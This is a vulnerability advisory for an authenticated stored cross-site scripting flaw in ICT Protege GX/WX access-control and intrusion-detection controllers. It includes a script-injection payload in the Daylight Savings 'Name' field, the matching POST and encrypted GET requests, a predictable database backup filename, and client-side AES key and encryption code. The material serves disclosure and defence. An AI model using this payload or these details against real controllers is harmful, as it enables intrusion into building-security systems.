ICT Protege GX/WX 2.08 Cross Site Scripting

2022.03.22
Credit: LiquidWorm
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

ICT Protege GX/WX 2.08 Authenticated Stored XSS Vulnerability Vendor: Integrated Control Technology Ltd. Product web page: https://www.ict.co Affected version: GX: Ver: 2.08.1002 K1B3 Lib: 04.00.217 Int: 2.3.235.J013 OS: 2.0.20 WX: Ver: 4.00 284 H062 App: 02.08.766 Lib: 04.00.169 Int: 02.2.208 Summary: Protege GX is an enterprise level integrated access control, intrusion detection and building automation solution with a feature set that is easy to operate, simple to integrate and effortless to extend. Protege WX is an all-in-one, web-based, cross-platform system that gives you a fully functional access control and intrusion detection solution in a fraction of the time of conventional software. With no software to install, setup is quick and simple. Connect the Controller and system components, then open a web browser to launch the intuitive wizard-driven interface which guides you through the process of configuring your system. Desc: The application suffers from an authenticated stored XSS vulnerability. The issue is triggered when input passed to the 'Name' parameter is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Microsoft-WinCE/6.00 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2022-5699 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5699.php 08.02.2022 -- UI navigation: -------------- Scheduling > Daylight Savings > (Name field). Decrypted POST request: ----------------------- POST /daylightsaving.htm Command&Type=Submit&SubType=GXT_DAYLIGHTSAVINGS_TBL&DaylightSavingId=1&action=update&Name=ZSL%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&StartMonth=10&EndMonth=2&StartDay=41&EndDay=41&RecId=1 Encrypted GET request: ---------------------- http://CONTROLLER_IP/PRT_CTRL_DIN_ISAPI.dll?8F7FFABE947FEE9C78850F2BA679A3B1645F6378696B32385B56303C43604B48F8CD082303AADCFCECEA082384C860AB16159DADCD89C9A7A2A47EE1F49A7A98AC9A8572882F88FAE5409CF6E06E04DA7F7D10AA6D45525C62B2A62FD949FF00E6B6B7471010908D9A59FBA1D9F304AD8CB24E0CE317A0870AA5A5253F0FCD58CA2BC874AC002CB62422E184FB9F13161C9C00E08F258B8519578EA2793A0C28A4AF51CF65637C0C2F972CE3F49703214A63AA78B3EBE5C720DBE1E9C97E772334EC95480956E27DB6D1DF4489C5D60CCE27D69B388CA6C69A9DC72D85127F870DDA4E459CA245508EBFD66D1C83D9FA12838C1F426E538D5D75192B57DF5AF6 Additional info: ---------------- Databse backup predictable name: Db_D3037E8A_8_Feb_22.bak The D3037E8A is the serial number of the onboard reader. Encrypt/Decrypt functions: -------------------------- From console: > localStorage.getItem("WXKey") < '8EDB22D9FB767538' function encryptAES(a, c) { a = a.toString(); a = unescape(encodeURIComponent(a)); "undefined" == typeof c && (c = !0); if (0 == servertype) return a; var b = localStorage.getItem("WXKey"); if ("" == b || null == b) return a; for (var d = "", e = 0; 16 > e; e++) d += String.fromCharCode(Math.floor(75 * Math.random() + 48)); a = d + mcrypt.Encrypt(addPKCS7(a), d, b, "rijndael-128", "cbc"); return a = c ? getCookie("SESSID") + strToHex(a) : strToHex(a) } function decryptAES(a) { if (null == a) return ""; a = a.toString(); if ("<invalid session> < Packet not Init and not encrypted. >" == a) a = 0 == servertype ? "login.php" : "login.htm", window.location = a + "?" + Math.random().toString(16).substring(2, 8).toLowerCase(); else if ("<invalid session>" == a.substr(0, 17)) a = 0 == servertype ? "login.php?logout" : "login.htm?logout", window.location = a + "?" + Math.random().toString(16).substring(2, 8).toLowerCase(); else { if (0 == servertype) return a; var c = localStorage.getItem("WXKey"); if ("" == c) return a; a = hexToStr(a); var b = a.substr(0, 16); a = a.substr(16, a.length); a = mcrypt.Decrypt(a, b, c, "rijndael-128", "cbc").replace(/\x00+$/g, ""); a = removePKCS7(a); return a = decodeURIComponent(escape(a)) }


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